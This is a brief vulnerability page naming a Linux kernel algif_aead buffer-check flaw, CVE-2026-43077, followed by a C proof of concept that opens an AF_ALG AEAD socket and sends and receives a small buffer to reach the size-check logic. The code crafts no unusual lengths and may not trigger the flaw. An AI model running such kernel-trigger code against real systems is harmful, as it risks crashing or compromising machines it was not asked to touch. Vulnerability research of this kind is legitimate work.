CVE-2026-43077: Linux内核algif_aead解密缓冲区检查漏洞

/* * PoC for CVE-2026-43077 * This code demonstrates interaction with algif_aead to trigger the size check logic. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define SOL_ALG 278 int main() { int tfm, op; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)" }; char buf[32] = {0}; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1 }; tfm = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(tfm, (struct sockaddr *)&sa, sizeof(sa)); setsockopt(tfm, SOL_ALG, ALG_SET_KEY, buf, 16); op = accept(tfm, NULL, 0); // Attempt to send/recv with potential size mismatch sendmsg(op, &msg, 0); recvmsg(op, &msg, 0); close(op); close(tfm); return 0; }